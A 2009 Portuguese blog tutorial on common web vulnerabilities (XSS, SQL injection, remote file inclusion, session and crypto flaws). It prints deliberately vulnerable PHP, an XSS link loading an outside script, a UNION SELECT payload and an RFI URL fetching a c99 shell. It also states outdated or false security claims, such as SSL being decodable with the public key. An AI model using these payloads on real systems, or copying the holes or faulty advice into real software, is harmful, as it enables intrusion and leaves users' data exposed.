Vulnerabilidades em Aplicações Web.
Autor: Maike | Publicado: 2009-11-25T16:04:00-08:00

Na informática nada é perfeito. Todas as aplicações têm bugs ou falhas de segurança. As aplicações web não são excepção. Nos tempos que correm, a Internet tem assumido um papel bastante importante na vida das pessoas: os adolescentes falam usando o mais que sobre-lotado MSN, “socializam” através do Hi5, MySpace e espaços semelhantes, mostram as suas criações em comunidades como o deviantART, os “adultos” vêem uns vídeos no YouTube e mandam emails para os amigos. Nesta pequena lista de actividades, a maior parte das pessoas não sabe que poderá estar a ser vítima de um ataque graças a falhas nos sites que está a visitar, falhas essas que muitas vezes se devem a pequenos descuidos do programador. O objectivo deste artigo é elucidar o leitor sobre os tipos de falhas que se descobrem com mais frequência, como funcionam e como as evitar.De acordo com o estudo OWASP (Open Web Application Security Project) Top 10 de 2007, as vulnerabilidades que existem em mais abundância na web são:Falhas XSS e XSRFEste tipo de falhas consiste em injectar código (normalmente JavaScript ou VBscript) no browser do utilizador, alterando o código da página, podendo assim levar ao roubo de informações. Erros em validações de parâmetros enviados pelo método GET ou POST são o principal motor deste tipo de falha.Exemplo de código que não faz qualquer tipo de validação aos parâmetros enviados:Código: &lt;html&gt;&lt;head&gt;&lt;title&gt;Falha de XSS&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;Pesquisa&lt;/h1&gt;&lt;form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;" method="GET"&gt;&lt;input type="text" name="pesquisa" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type="submit" name="botao" value="Pesquisar!" /&gt;&lt;/form&gt;&lt;?phpif(!empty($_GET)){echo "Está a pesquisar por: ".$_GET['pesquisa'];}?&gt;&lt;/body&gt;&lt;/html&gt;Neste pequeno script em PHP, poderíamos “brincar” um bocadinho com o utilizador, fazendo-o clicar, por exemplo, neste link:http://www.exemplo.com/ficheiro_vulneravel.php?pesquisa=%3Cscript%20src=http://kakakeys.com/xs.js%3E%3C/script%3ENeste caso, o script era inofensivo e limitou-se a abrir aquela janela a dizer “xss!”, mas poderia ter sido usado em conjunto com XSRF para roubo de cookies, por exemplo.As falhas de XSRF são, nada mais nada menos, que um tipo de ataques XSS, onde a página é alterada para enganar o utilizador e roubar informação. A análise a um ataque XSRF, neste caso no popular Hi5, pode ser visto aqui [url="http://forums.ptsec.net/index.php?showtopic=988"](ver o quadro “Ler mais”, 2º link).[/url]As falhas de XSS e XSRF podem ser evitadas usando, por exemplo, uma função para remover tags HTML (ver a função strip_tags() no manual do PHP: http://pt2.php.net/strip_tags) ou para trocar certos caracteres pelo seu HTML entity (ver a função htmlentities() no manual do PHP:http://pt2.php.net/htmlentities).Falhas de injecção e Insecure Direct Object ReferenceInjecção de SQL é das vulnerabilidades mais conhecidas (senão a mais conhecida) pela Internet. Pequenos erros de validação podem se revelar catastróficos e extremamente embaraçantes. A título de exemplo, a Microsoft do Reino Unido foi vítima da exploração de uma vulnerabilidade de injecção de SQL [url="http://www.zone-h.org/content/view/14734/31/"](ver 3º link no quadro “Ler mais”)[/url]Exemplo de código vulnerável:Código:&lt;html&gt;&lt;head&gt;&lt;title&gt;Falha de SQL Injection&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;Pesquisa&lt;/h1&gt;&lt;form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;" method="POST"&gt;&lt;input type="text" name="pesquisa" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type="submit" name="botao" value="Pesquisar!" /&gt;&lt;/form&gt;&lt;?php$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');mysql_select_db("site");$res = mysql_query("SELECT id, uniq FROM blog WHERE tags LIKE '%".$_POST['pesquisa']."%'");while(($r = mysql_fetch_array($res))){echo '&lt;a href="post.php?id='.$r['id'].'"&gt;'.$r['uniq']."&lt;/a&gt;&lt;br /&gt;";}?&gt;&lt;/body&gt;&lt;/html&gt;Ao escrever na pesquisa “‘ UNION SELECT id, uniq FROM logins#” (sem aspas), poderia obter os IDs dos utilizadores (o nome de utilizador por exemplo), e o hash da sua palavra-passe (o campo uniq). Em casos em que exista também uma falha de “má arquivação” de dados sensíveis, como arquivar palavra-passe e não o hash resultante da passagem da palavra-passe por um algoritmo de hash, ir-se-ia obter a palavra-passe “sem qualquer espinha”, evitando o recurso a ataques de força bruta ou de dicionário a algoritmos de hash inseguros (o uso de “criptografia insegura”) como o MD5 ou o SHA-1.Em PHP, existe uma forma bastante simples de evitar injecção de SQL: usar a função mysql_real_escape_string() (manual do PHP: http://pt2.php.net/mysql_real_escape_string) para fazer “escape” dos caracteres perigosos que vêm do utilizador.As falhas de injecção não são, porém, apenas de SQL. As vulnerabilidades de Insecure Direct Object Reference abrem portas à injecção de código na aplicação em si. Este tipo de vulnerabilidades são vistas principalmente em aplicações PHP de programadores inexperientes.Exemplo de uma falha de Insecure Direct Object Reference:Código: &lt;html&gt;&lt;head&gt;&lt;title&gt;Falha de code injection&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;Escolha de lingua&lt;/h1&gt;&lt;form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;" method="GET"&gt;&lt;select name="lingua"&gt;&lt;option&gt;PT&lt;/option&gt;&lt;option&gt;EN&lt;/option&gt;&lt;/select&gt;&lt;input type="submit" name="botao" value="Navegar!" /&gt;&lt;/form&gt;&lt;?phpif(!empty($_GET['lingua'])){include $_GET['lingua'].".index.php";}?&gt;&lt;/body&gt;&lt;/html&gt;Ao escrever no URL, por exemplo, http://www.exemplo.com/lingua.php?lingua=http://alojamento.tld/shells/c99.txt, o ficheiro que seria incluído seria, na verdade, o http://alojamento.tld/shells/c99.txt. Usando uma shell C99, poderia criar, apagar ou alterar ficheiros, “matar” processos no servidor ou desligá-lo. Este tipo de falhas é normalmente denominado de Remote File Inclusion (RFI). Usando um pouco de “engenharia social”, poder-se-ia fazer um URL de redireccionamento no TinyURL para uma página com código para roubar dados do utilizador. Em conjunto com falhas no handling de sessões, poderia apoderar-me da sessão do utilizador no site, e navegar no mesmo como se fosse a “vítima”.Para evitar este tipo de falhas, é aconselhável usar estruturas de controlo, como if…elseif…else ou o switch:Código: $pagina = $_GET['pag'];if($pagina == 'contacto'){include "contacto.php";}elseif($pagina == 'ajuda'){include "ajuda.php";}else{include "main.php";}Código: switch($_GET['pag']){case 'contacto':include "contacto.php";break;case 'ajuda':include "ajuda.php";break;default:include "main.php";break;}Quebras de autorização, falhas no handling de sessões, ligações não-segurasUm erro bastante cometido pelos menos experientes nas andanças da programação web é a passagem de  informação sensível por cookies em ligações não-seguras. Temos, por exemplo, o caso do HDD.com.pt. O serviço premium do HDD.com.pt baseia-se em cookies para verificar o estatuto do utilizador. Ao fazer login, são estabelecidos dois cookies: um com o ID do utilizador, e outro com o hash da password desse utilizador em MD5. Este sistema está vulnerável a quebras de autorização usando ataques MiM (men in the middle) uma vez que passa dados sensíveis por uma ligação não-segura (não usa qualquer tipo de encriptação, como TLS ou SSL) usando cookies (mesmo usando SSL ou TLS, bastaria saber o chave pública para descodificar o pacote e obter os cookies). Para prevenir este tipo de falhas, aconselha-se a nunca enviar dados sensíveis de ou para o cliente usando ligações não seguras, nunca usar cookies para identificação do utilizador nem qualquer tipo de funcionalidades para lembrar o utilizador, para lhe poupar o trabalho de fazer login cada vez que abre o browser.Como alternativa à passagem de informação identificativa por cookies, aconselha-se o uso de sessões. No entanto, o uso de sessões sofre do mesmo mal que os cookies: podem ser roubadas. Um dos erros mais comuns no uso de sessões é não haver qualquer tipo de verificação se o browser que se está a ligar é o mesmo a cada pedido. Sabendo o cookie de sessão de um utilizador, se eu me ligar a um website usando o cookie de sessão desse utilizador, posso-me fazer passar por ele caso não haja qualquer tipo de verificação ao browser utilizado. Para diminuir a probabilidade de roubo de sessões (sim, porque não deixa de possível), aconselha-se à verificação do browser recorrendo a, por exemplo, o User-Agent, a ordem de envio dos headers, o conteúdo do header HTTP-Accept, entre outros, e caso a verificação falhe, destruir a sessão, dar-lhe uma nova, e obrigar o utilizador a fazer login novamente.“Criptografia segura” vs “criptografia insegura”O uso de “criptografia segura” pode fazer toda a diferença entre uma catástrofe e uma saída “ilesa” de um servidor de uma invasão. Quando todas as medidas de precaução que usámos já falharam e estamos condenados, temos uma última arma contra a quebra da privacidade dos nossos utilizadores: o uso de “criptografia segura”. Quando falo de “criptografia segura”, refiro-me a algoritmos considerados seguros para o armazenamento de dados sensíveis, como os algoritmos SHA-256 e AES por exemplo, em detrimento de “criptografia insegura”, como os algoritmos MD4, MD5, SHA-1, entre outros. Um dos grandes problemas dos algoritmos de hashing é, sem dúvida alguma, a possibilidade de clashing, ou seja, existir outra combinação de caracteres que não a original que tenha o mesmo hash.Imaginemos uma palavra-passe “Portugal-a-Programar”. O hash MD5 desta password é e8ca8f20b74e7e64a11160b7002f943d. No entanto, poderão haver outras palavras-passe que dão este hash de 32 caracteres. Mas, usando um algoritmo de hashing que produza um hash maior (como SHA-256, que produz hashes com 64 caracteres, ou o SHA-512, que produz hashes com 128 caracteres), as possibilidades de clashing são muito mais reduzidas. Quando as possibilidades de clashing são menores, um cracker irá necessitar de fazer ataques de dicionário (usando rainbow tables) mais complexos e demorados, uma vez que irá necessitar de uma lista de hashes maior.Outra medida que muitas pessoas defendem, é o uso de “sal” em palavras-passe, de modo a dificultar muito, se não tornar impraticáveis, os ataques de dicionário. Este “truque” do “sal” consiste em adicionar caracteres à palavra-passe antes de a passar pela função de hashing. Imaginemos a palavra-passe “amor”. Como é extremamente provável que o hash desta palavra-passe esteja presente em rainbow tables, vamos adicionar-lhe “sal”, de modo a que passe pala função de hashing a password “amortty”, que é extremamente improvável que esteja numa rainbow table. Neste caso, o “sal” que adicionámos foi o “tty”, que vai ter de ser guardado em algum sítio, sítio esse que ir? estar certamente ao alcance de um cracker durante uma invasão. No entanto, mesmo que o cracker saiba o “sal”? que adicionamos às palavras-passe, irá necessitar de criar novos dicionários com aquele “sal”, um processo demasiado moroso para alguns e que nos fazem ganhar tempo até que os dados dos utilizadores sejam expostos. Depois da invasão, mudamos o “sal” das palavras-passe, pedindo aos utilizadores para escolherem uma nova palavra-passe.Falhas no handling de erros e fuga de informaçãoOs erros durante o handling de erros pode dar  informações preciosas dos mais diversos tipos a um hacker. Imaginemos um sistema de login. Eu submeto um utilizador e uma password aleatórios e obtenho a mensagem “O utilizador escolhido não existe”. Tento novamente, mas submeto um utilizador que existe, obtendo a mensagem “A password está errada”. Este tipo de erros do programador podem abrir portas a ataques de dicionário ou brute force a um hacker. Para este tipo de casos, não se deve ser explicito no erro, deve-se dizer apenas que os dados fornecidos não estão correctos. Nas falhas de injecção de SQL, o handling de erros também tem um papel fundamental, dizendo exactamente onde aconteceu o erro na query, abrindo portanto ao hacker a estrutura da query e como poderá manipulá-la de forma a atingir os seus objectivos.Falhas na restrição de acesso a URLsEsta falha normalmente não representa grande risco, mas há excepções. Esta falha consiste basicamente no uso de URLs genéricos, como http://www.exemplo.com/apagar-post.php para funções administrativas, onde não há qualquer tipo de controlo de quem está a aceder ao URL. Neste tipo de falhas, não há grandes recomendações a fazer para além do ser extremamente cuidadoso nestes ficheiros com verificações como a forma como o script está a ser executado (directamente em vez do include), quem é que está a aceder, entre outros.Execução de ficheiros maliciososEmbora este tipo de vulnerabilidade afecte principalmente utilizadores e não servidores, sinto-me na obrigação de  falar nele. Muitas vezes, a execução de ficheiros maliciosos está associado a falhas de XSS num site e a falhas de verificação no browser, permitindo a execução de executáveis duvidosos. Muitos dos alertas que os anti-vírus lançam durante a nossa navegação pela Internet, são sobre este tipo de vulnerabilidades. Ao detectarem que numa determinada ligação está a passar código malicioso, eles lançam o aviso e fazem “drop” dos pacotes, evitando assim o ataque.Embora haja medidas para previnir todos estes tipos de ataques, nenhuma delas é infalível, funcionando apenas como uma blindagem: não são impenetráveis, mas dão-nos tempo para reagir. Vigilância a servidores usando software para o efeito e ter um administrador com conhecimentos é algo indispensável nos dias que correm, uma vez que podem detectar o início de um ataque e “cortar-lhe as pernas”, evitando danos maiores.